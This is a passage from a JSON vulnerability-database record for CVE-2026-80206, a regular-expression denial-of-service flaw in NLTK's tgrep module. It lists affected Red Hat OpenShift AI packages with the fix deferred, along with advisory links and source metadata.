scope","provider":"redhat-vex","source":"CVE-2026-80206"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"affected","packages":["rhoai/odh-llama-stack-core-rhel9","rhoai/odh-ogx-core-rhel9","rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9","rhoai/odh-ta-lmes-job-rhel9","rhoai/odh-trustyai-garak-lls-provider-dsp-rhel9","rhoai/odh-trustyai-nemo-guardrails-server-rhel9","rhoai/odh-workbench-jupyter-pytorch-llmcompressor-cuda-py312-rhel9"],"package_count":7,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-80206"}],"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-80206.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-80206"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2524336"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-80206"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-80206"},{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep"}]}],"references":[{"type":"ADVISORY","url":"https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep"},{"type":"ADVISORY","url":"https://security-tracker.debian.org/tracker/CVE-2026-80206"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-80206"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/0072ea2fb8be22e038a36e887b7061bb6b9339d9"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3751.yaml"},{"type":"REPORT","url":"https://ubuntu.com/security/CVE-2026-80206"},{"type":"REPORT","url":"https://www.cve.org/CVERecord?id=CVE-2026-80206"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-80206.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-80206"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2524336"}],"sources":[{"provider":"cvelistv5","source_id":"CVE-2026-80206","url":"https://www.cve.org/CVERecord?id=CVE-2026-80206","license":"CC-BY-4.0","modified_at":"2026-08-26T12:52:23.513Z","relation":"self"},{"provider":"nvd","source_id":"CVE-2026-80206","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-80206","relation":"self"},{"provider":"osv","source_id":"DEBIAN-CVE-2026-80206","url":"https://osv.dev/vulnerability/DEBIAN-CVE-2026-80206","modified_at":"2026-10-01T03:03:35.359994Z","relation":"self"},{"provider":"osv","source_id":"GHSA-w3v8-gmh9-3wv7","url":"https://osv.dev/vulnerability/GHSA-w3v8-gmh9-3wv7","license":"CC-BY-4.0","modified_at":"2026-09-08T20:45:04.333988Z","relation":"self"},{"provider":"osv","source_id":"PYSEC-2026-3751","url":"https://osv.dev/vulnerability/PYSEC-2026-3751","license":"CC-BY-4.0","modified_at":"2026-09-02T09:00:05.019508Z","relation":"self"},{"provider":"osv","source_id":"UBUNTU-CVE-2026-80206","url":"https://osv.dev/vulnerability/UBUNTU-CVE-2026-80206","license":"CC-BY-SA-4.0","modified_at":"2026-09-02T19:36:34.390575Z","relation":"self"},{"provider":"redhat-vex","source_id":"CVE-2026-80206","url":"https://access.redhat.com/security/cve/CVE-2026-80206","license":"CC-BY-4.0","modified_at":"2026-08-27T14:13:08Z","relation":"self"}]}
